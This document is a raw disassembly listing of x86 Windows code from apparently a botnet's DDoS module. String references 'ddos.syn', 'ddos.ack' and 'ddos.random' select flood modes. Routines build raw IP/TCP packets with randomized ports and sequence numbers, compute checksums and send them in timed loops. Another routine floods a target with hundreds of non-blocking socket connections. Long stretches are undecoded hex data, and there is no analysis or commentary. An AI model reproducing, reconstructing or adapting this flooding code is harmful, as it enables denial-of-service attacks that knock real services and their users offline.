dd 0FF8915E8h, 565959FFh, 2AD4FBE8h, 5E5F9002h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B08 proc near ; CODE XREF: ___:00412E7Fp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_412B48
xor eax, eax
jmp loc_412E3B
; ---------------------------------------------------------------------------
loc_412B48: ; CODE XREF: sub_412B08+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E33
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_412E29
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CAF74
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CAF74
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CAF74
push 12345678h
mov [ebp+var_14], ax
call dword_4CAF70
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C18
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C18: ; CODE XREF: sub_412B08+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C34
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C34: ; CODE XREF: sub_412B08+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6C
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6C: ; CODE XREF: sub_412B08+10Ej
; sub_412B08+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CAF74
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2760000h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 275093Eh
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBA: ; CODE XREF: sub_412B08+2E2j
; sub_412B08+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_412DFD
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 275093Eh
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E26
jl loc_412CBA
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E26
jmp loc_412CBA
; ---------------------------------------------------------------------------
loc_412DFD: ; CODE XREF: sub_412B08+2CBj
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435B1C
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_412E29
; ---------------------------------------------------------------------------
loc_412E26: ; CODE XREF: sub_412B08+2E0j
; sub_412B08+2EEj
mov ebx, [ebp+arg_8]
loc_412E29: ; CODE XREF: sub_412B08+78j
; sub_412B08+31Cj
push [ebp+var_20]
call dword_4CB00C
pop esi
loc_412E33: ; CODE XREF: sub_412B08+5Bj
call dword_4CAECC
mov eax, ebx
loc_412E3B: ; CODE XREF: sub_412B08+3Bj
pop edi
pop ebx
leave
retn
sub_412B08 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B08
add esp, 20h
test eax, eax
jnz short loc_412E8E
push 1
pop eax
loc_412E8E: ; CODE XREF: ___:00412E89j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
dd 59FFFF84h, 0E8905759h, 22AD0C8h, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CAF5415h
db 0, 83h
word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o
dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h
dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h
dd 5959FFFFh, 51E89057h, 8D022AD0h, 0FFFE4885h, 15FF50FFh
dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
dd 575959FFh, 0CFEAE890h, 106A022Ah, 57E4458Dh, 856EE850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h
dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h
dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h
dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
dd 0FF022ACEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h
dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 97E8C875h, 59FFFF81h, 0E8905759h, 22ACD7Ch
dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+550Fo
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
dd 0CCBEE890h, 0C33B022Ah, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h
dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
dd 59FFFF80h, 0F1E85359h, 90022ACBh
dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+575Bo
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 4FE89000h
dd 500225D5h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh
dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2ACB13E8h, 408B9002h
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h
dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D89DE890h
dd 754E0223h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h
dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
dd 575959FFh, 0C9DAE890h
db 2Ah, 2
word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh
dd 3DE89056h, 5F022AC9h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C5 proc near ; CODE XREF: ___:004137AEp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CAF74
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413783
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413710: ; CODE XREF: sub_4136C5+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413718: ; CODE XREF: sub_4136C5+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373B
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call near ptr 71AB155Ah
nop
loc_41373B: ; CODE XREF: sub_4136C5+64j
add esi, 4
dec ebx
jnz short loc_413718
lea esi, [ebp+var_654]
mov ebx, edi
loc_413749: ; CODE XREF: sub_4136C5+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_413749
push 64h
nop
call near ptr 2650E43h
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376D: ; CODE XREF: sub_4136C5+B4j
push dword ptr [esi]
call near ptr 71AB1A6Dh
nop
add esi, 4
dec ebx
jnz short loc_41376D
dec [ebp+arg_4]
jnz short loc_413710
pop edi
pop esi
pop ebx
loc_413783: ; CODE XREF: sub_4136C5+3Ej
xor eax, eax
leave
retn
sub_4136C5 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C5
add esp, 18h
test eax, eax
jnz short loc_4137BD
push 1
pop eax
loc_4137BD: ; CODE XREF: ___:004137B8j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+6449o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF7BB2h, 90565959h, 2AC797E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386B proc near ; CODE XREF: ___:00413B59p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_4138AB
xor eax, eax
jmp loc_413B19
; ---------------------------------------------------------------------------
loc_4138AB: ; CODE XREF: sub_41386B+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B11
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_413B07
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CAF74
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CAF74
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CAF74
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2760000h
lea eax, [ebp+var_8]
push eax
call near ptr 275093Eh
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413996: ; CODE XREF: sub_41386B+25Dj
; sub_41386B+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_413ADB
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 275093Eh
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B04
jl loc_413996
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B04
jmp loc_413996
; ---------------------------------------------------------------------------
loc_413ADB: ; CODE XREF: sub_41386B+247j
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435D44
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_413B07
; ---------------------------------------------------------------------------
loc_413B04: ; CODE XREF: sub_41386B+25Bj
; sub_41386B+269j
mov ebx, [ebp+arg_8]
loc_413B07: ; CODE XREF: sub_41386B+78j
; sub_41386B+297j
push [ebp+var_C]
call dword_4CB00C
pop esi
loc_413B11: ; CODE XREF: sub_41386B+5Bj
call dword_4CAECC
mov eax, ebx
loc_413B19: ; CODE XREF: sub_41386B+3Bj
pop edi
pop ebx
leave
retn
sub_41386B endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386B
add esp, 1Ch
test eax, eax
jnz short loc_413B68
push 1
pop eax
loc_413B68: ; CODE XREF: ___:00413B63j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh
dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3E8F075h, 59FFFF78h, 0E9E85659h, 90022AC3h, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
